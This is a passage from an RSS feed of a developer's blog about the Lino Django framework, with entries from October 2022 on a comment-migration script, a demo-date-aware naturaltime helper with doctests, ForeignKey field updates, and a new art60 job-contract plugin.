    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;owner_type_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;owner_id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;. &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;#kw.update(body_short_preview=body_short_preview)&lt;/span&gt;
    &lt;span class="c1"&gt;#kw.update(body_full_preview=body_full_preview)&lt;/span&gt;
    &lt;span class="c1"&gt;#kw.update(title=title)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pub_time&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;pub_time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;make_aware&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;combine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pub_date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pub_time&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="c1"&gt;#kw.update(entry_type_id=entry_type_id)&lt;/span&gt;
    &lt;span class="c1"&gt;#kw.update(language=language)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;comments_Comment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also had to change the ordering of the execfile statements in the &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;main()&lt;/span&gt;&lt;/code&gt;
function because otherwise the automatically generated id fields of the former
blog entries would clash with ids of existing comments:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;execfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;comments_reaction.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;execfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;blogs_entry.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;After the migration we need to run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;checkdata&lt;/span&gt; &lt;span class="pre"&gt;-pf&lt;/span&gt;&lt;/code&gt; in order to fill the
body preview fields.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/1031.html</guid><pubDate>Mon, 31 Oct 2022 00:00:00 +0000</pubDate></item><item><title>Monday, October 17, 2022</title><link>https://luc.lino-framework.org/blog/2022/1017.html</link><description>&lt;section id="monday-october-17-2022"&gt;
&lt;h1&gt;Monday, October 17, 2022&lt;a class="headerlink" href="#monday-october-17-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/1017.html</guid><pubDate>Mon, 17 Oct 2022 00:00:00 +0000</pubDate></item><item><title>Thursday, October 13, 2022</title><link>https://luc.lino-framework.org/blog/2022/1013.html</link><description>&lt;section id="thursday-october-13-2022"&gt;
&lt;h1&gt;Thursday, October 13, 2022&lt;a class="headerlink" href="#thursday-october-13-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started wondering what they actually wanted to say when they asked to keep the
position number unchanged for each client. I guess that they are talking about
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.reception.WaitingVisitors&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It was a bit irritating to see that the visitors in our demo have been waiting
there for more than 8 years. So I accidentally wrote a solution for the old
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;naturaltime&lt;/span&gt;&lt;/code&gt; problem: when you want the output of a naturaltime string to
respect &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site.the_demo_date&lt;/span&gt;&lt;/code&gt; (to make it testable, but also to avoid the
irritating value mentioned above), then you can now simply replace your import:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.contrib.humanize.templatetags.humanize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;naturaltime&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;by this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.utils.format_dates&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;naturaltime&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="c1"&gt;# lino.startup(&amp;#39;lino_book.projects.min1.settings&amp;#39;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.mathieu.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;datetime&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timezone&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.contrib.humanize.templatetags.humanize&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;naturaltime&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;hnaturaltime&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.reception.models&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;naturaltime&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="go"&gt;2022-10-12 23:14:...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2022&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hnaturaltime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;54 minutes ago&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;the_demo_date&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;2014-05-22&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hnaturaltime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;il y a une heure&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;naturaltime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;dans 8 années, 4 mois&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/1013.html</guid><pubDate>Thu, 13 Oct 2022 00:00:00 +0000</pubDate></item><item><title>Tuesday, October 11, 2022</title><link>https://luc.lino-framework.org/blog/2022/1011.html</link><description>&lt;section id="tuesday-october-11-2022"&gt;
&lt;h1&gt;Tuesday, October 11, 2022&lt;a class="headerlink" href="#tuesday-october-11-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Here is something we didn’t yet need: update the “othermodel” pointed to by a
ForeignKey. Something like this:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Convention&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;company&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;othermodel&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;jobs.JobProvider&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But that doesn’t work. I updated the docstring of &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;dd.update_field()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The best solution (IMHO) was to split up the
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.ContactRelated" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts.ContactRelated&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; mixin into an
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AbstractContactRelated&lt;/span&gt;&lt;/code&gt;, which does the same as &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;ContactRelated&lt;/span&gt;&lt;/code&gt;
except defining the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;company&lt;/span&gt;&lt;/code&gt; field.&lt;/p&gt;
&lt;p&gt;A side effect of this change is that &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.diag.Analyzer.show_database_structure()&lt;/span&gt;&lt;/code&gt;
gives a series of false alarms: every model based on &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;ContactRelated&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.mathieu.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;art60&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Convention&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_meta&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;company&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;django.db.models.fields.related.ForeignKey: company&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;art60&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Convention&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;company&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;class &amp;#39;lino_welfare.modlib.jobs.models.JobProvider&amp;#39;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;art61&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;first&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;company&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;class &amp;#39;lino_welfare.modlib.jobs.models.Employer&amp;#39;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2022/1011.html</guid><pubDate>Tue, 11 Oct 2022 00:00:00 +0000</pubDate></item><item><title>Sunday, October 2, 2022</title><link>https://luc.lino-framework.org/blog/2022/1002.html</link><description>&lt;section id="sunday-october-2-2022"&gt;
&lt;h1&gt;Sunday, October 2, 2022&lt;a class="headerlink" href="#sunday-october-2-2022" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4436"&gt;#4436&lt;/a&gt;.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;startup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lino_welfare.projects.mathieu.settings.demo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.doctest&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I had started (locally) a  new &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welcht.lib.jobs&lt;/span&gt;&lt;/code&gt; plugin as a copy of
&lt;a class="reference external" href="https://welfare.lino-framework.org/api/lino_welfare.modlib.jobs.html#module-lino_welfare.modlib.jobs" title="(in Lino Welfare)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.jobs&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, with the only change (so far) that the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_social&lt;/span&gt;&lt;/code&gt; field was now on the &lt;a class="reference external" href="https://welfare.lino-framework.org/usage/jobs.html#term-job-provider" title="(in Lino Welfare)"&gt;&lt;span class="xref std std-term"&gt;job provider&lt;/span&gt;&lt;/a&gt;, no longer on the
job type. My plan was that this might replace its parent in the future. En
passant I also had moved all &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tables/index.html#term-data-table" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;data tables&lt;/span&gt;&lt;/a&gt; to a separate module
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/files.html#xfile-ui.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;ui.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;But then I realized that copying the whole &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;jobs&lt;/span&gt;&lt;/code&gt; plugin is not needed. I
made a new plugin &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.art60&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;With the new art60 contracts we have multiple subcontracts per contract. An
art60 contract is between the center and a client, the center is the legal
employer and makes an “agreement” with one of their partners (called the
“utilizing services”) to take that particular client for that particular period
and that particular job. Usually there’s one “agreement” per “contract”. But
reality can differ from theory, there can be “movements”.&lt;/p&gt;
&lt;p&gt;Centers who don’t want this new feature just  don’t install
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.art60&lt;/span&gt;&lt;/code&gt; and continue to use the
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_welfare.modlib.jobs.Contract&lt;/span&gt;&lt;/code&gt; as before. Their &lt;cite&gt;verbose_name&lt;/cite&gt; is
the same:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;show_model_translations&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jobs&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;art60&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Contract&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;languages&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;en fr de&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;...&lt;/span&gt;
&lt;span class="go"&gt;+----------------+-------------------------+--------------------------+-----------------------+&lt;/span&gt;
&lt;span class="go"&gt;| Name           | en                      | fr                       | de                    |&lt;/span&gt;
&lt;span class="go"&gt;+================+=========================+==========================+=======================+&lt;/span&gt;
&lt;span class="go"&gt;| jobs.Contract  | Art60§7 job supplyment  | Mise à l&amp;#39;emploi art60§7  | Art.60§7-Konvention   |&lt;/span&gt;
&lt;span class="go"&gt;|                | Art60§7 job supplyments | Mises à l&amp;#39;emploi art60§7 | Art.60§7-Konventionen |&lt;/span&gt;
&lt;span class="go"&gt;+----------------+-------------------------+--------------------------+-----------------------+&lt;/span&gt;
&lt;span class="go"&gt;| art60.Contract | Art60§7 job supplyment  | Mise à l&amp;#39;emploi art60§7  | Art.60§7-Konvention   |&lt;/span&gt;
&lt;span class="go"&gt;|                | Art60§7 job supplyments | Mises à l&amp;#39;emploi art60§7 | Art.60§7-Konventionen |&lt;/span&gt;
&lt;span class="go"&gt;+----------------+-------------------------+--------------------------+-----------------------+&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
